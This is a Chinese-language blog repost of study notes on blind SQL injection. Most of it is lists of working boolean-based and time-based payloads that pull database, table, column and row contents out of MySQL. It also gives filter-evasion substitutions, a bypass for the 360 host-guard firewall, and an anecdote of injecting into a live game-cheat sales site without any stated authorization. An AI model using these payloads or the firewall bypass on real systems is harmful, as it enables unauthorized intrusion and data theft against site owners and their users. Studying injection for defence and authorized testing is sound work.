sql盲注 :布爾注入及時間注入(合天網安學習整理)


盲注:

盲注其實是sql注入的一種,之所以稱為盲注是因為他不會根據你sql注入的攻擊語句返回你想要知道的錯誤信息。
盲注分為兩類:
  1.布爾盲注 布爾很明顯Ture跟Fales,也就是說它只會根據    你的注入信息返回Ture跟Fales,也就沒有了之前的報錯信息。
  2.時間盲注 界面返回值只有一種,true 無論輸入任何值 返回情況都會按正常的來處理。加入特定的時間函數,通過查看web頁面返回的時間差來判斷注入的語句是否正確。

基於布爾的盲注

在頁面中,如果正確執行了SQL語句,則返回一種頁面,如果SQL語句執行錯誤,則執行另一種頁面。基於兩種頁面,來判斷SQL語句正確與否,達到獲取數據的目的

注意比如 ‘  ” 的注釋通常用 --+  或者 --%20 或者#來注釋

注意閉合相關的語句比如 )’  “等

用limit的原因是由於在頁面顯示的數據不夠所有來限制其輸出,然后通過limit中數字的變化來把所有的數據求出來

注意語法語言的不同會導致注釋的不同,所有注釋符要注意變通

 

Payload

網上的payload一般是利用ascii()、substr()、length()結合進行利用

  • 獲取數據庫長度
and (select length(database()))=長度 #可以通過大於等於等來進行猜測以下同理
#database 數據庫
  • 逐字猜解數據庫名
and (select ascii(substr(database(),位數,1)))=ascii碼 #位數的變化及從1,2,3變化即可通過ascii碼以及猜解的數據庫長度求出數據庫的庫名
  • 猜解表名數量
and (select count(table_name) from information_schema.tables where table_schema=database())=數量 
#
information_schema.tables 專門用來儲存所以表,5.0以上版本才有
  • 猜解某個表長度
and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=長度 #同理n從0來表示變化的表來求該庫下的對應的表的長度
  • 逐位猜解表名
and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit n,1)=ascii碼 #從前面的1變化是求表名,而n變化是對應的庫中的表
  • 猜解列名數量
and (select count(*) from information_schema.columns where table_schema = database() and table_name = 表名)=數量
#
information_schema.columns 專門用來存儲所有的列
  • 猜解某個列長度
and (select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=長度
  • 逐位猜解列名
and (select ascii(substr(column_name,位數,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii碼
  • 判斷數據的數量
and (select count(列名) from 表名)=數量
  • 猜解某條數據的長度
and (select length(列名) from 表名 limit n,1)=長度
  • 逐位猜解數據
and (select ascii(substr(user,位數,1)) from 表名 limit n,1)=ascii碼

盲注tips

過濾了substr函數怎么辦

用如下函數

left(str,index) 從左邊第index開始截取  
right(str,index) 從右邊第index開始截取  
substring(str,index) 從左邊index開始截取    
mid(str,index,ken) 截取str 從index開始,截取len的長度  
lpad(str,len,padstr) rpad(str,len,padstr) 在str的左(右)兩邊填充給定的padstr到指定的長度len,返回填充的結果 

過濾了等於號怎么辦?

1、用in()

2、用like

過濾了ascii()怎么辦?

hex() bin() ord()

過濾了字段名怎么辦?

1、order by 盲注

條件:有回顯,給出字段結構

order by用於根據指定的列對結果集進行排序。一般上是從0-9a-z這樣排序,不區分大小寫。先看下id為1的查詢結果

執行如下payload

select * from users where id=1 union select 1,'d',3 order by 2

發現我們聯合查詢的數據d排在前面
再執行如下payload

select * from users where id=1 union select 1,'z',3 order by 2

發現聯合查詢的數據z排在后面了。這是什么意思呢?第一次聯合查詢的d,排在前面,是因為id為1的數據第一位是d,所以排在前面了。而id為1的數據第一位不是z,所以z就排在后面了,我們可以利用這個特性來進行布爾盲注,只要猜0-9,a-z,逐字猜解就好

2、子查詢

這個東西沒啥好解釋的,直接看payload吧

select * from users where id=-1 union select 1,2,x.2 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)x

實例演示

一個賣吃雞外掛的網站 ,創建訂單那存在SQL注入,利用上面常規payload獲取到數據庫名了,數據庫名為chiji,進行到獲取表數量就開始攔截了。 發現是360主機衛士攔截了,本來想按照bypass老哥發的文章進行繞過的,發現各種方法都不行,可能是站長修改了規則。自己測試,發現select 1不攔截。select 1 from不攔截。select 1 from 1攔截。所以我們要破壞select from的結構才能進行繞過。后來詢問@撕夜師傅發現去掉from前面的空格即可繞過。后面的步驟參考上面的payload即可

基於時間的盲注

布爾盲注是根據頁面正常否進行注入,而時間盲注則是通過SQL語句查詢的時間來進行注入,一般是在頁面無回顯,無報錯的情況下使用

可以通過F12來看其頁面回顯的時間與布爾盲注是一樣的

 

  • 猜解數據庫長度
and if((select length(database()))=長度,sleep(6),0)
  • 猜解數據庫名
and if((select ascii(substr(database(),位數,1))=ascii碼),sleep(6),0)
  • 判斷表名的數量
and if((select count(table_name) from information_schema.tables where table_schema=database())=個數,sleep(6),0)
  • 判斷某個表名的長度
and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=長度,sleep(6),0)
  • 逐位猜表名
and if((select ascii(substr(table_name,位數,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii碼,sleep(6),0)
  • 判斷列名數量
and if((select count(column_name) from information_schema.columns where table_name="表名")=個數,sleep(6),0)
  • 判斷某個列名的長度
and if((select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=長度,sleep(6),0)
  • 逐位猜列名
and if((select ascii(substr(column_name,位數,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii碼,sleep(6),0)
  • 判斷數據的數量
and if((select count(列名) from 表名)=個數,sleep(6),0)
  • 判斷某個數據的長度
and if((select length(列名) from 表名)=長度,sleep(6),0)
  • 逐位猜數據
and if((select ascii(substr(列名,n,1)) from 表名)=ascii碼,sleep(6),0)

時間盲注小tips

如果過濾了sleep,還可以用benchmark(),這個函數第一個值填要執行的次數,第二個填寫要執行的表達式

 select * from users where id=1 and if(ascii(substring((database()),1,1))>1,(select benchmark(10000000,md5(0x41))),1)

轉載文章

https://sqlmap.wiki/post/sql%E6%B3%A8%E5%85%A5%E5%AD%A6%E4%B9%A0%E4%B9%8B%E7%9B%B2%E6%B3%A8/

https://www.jianshu.com/p/65f05e7cc957

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM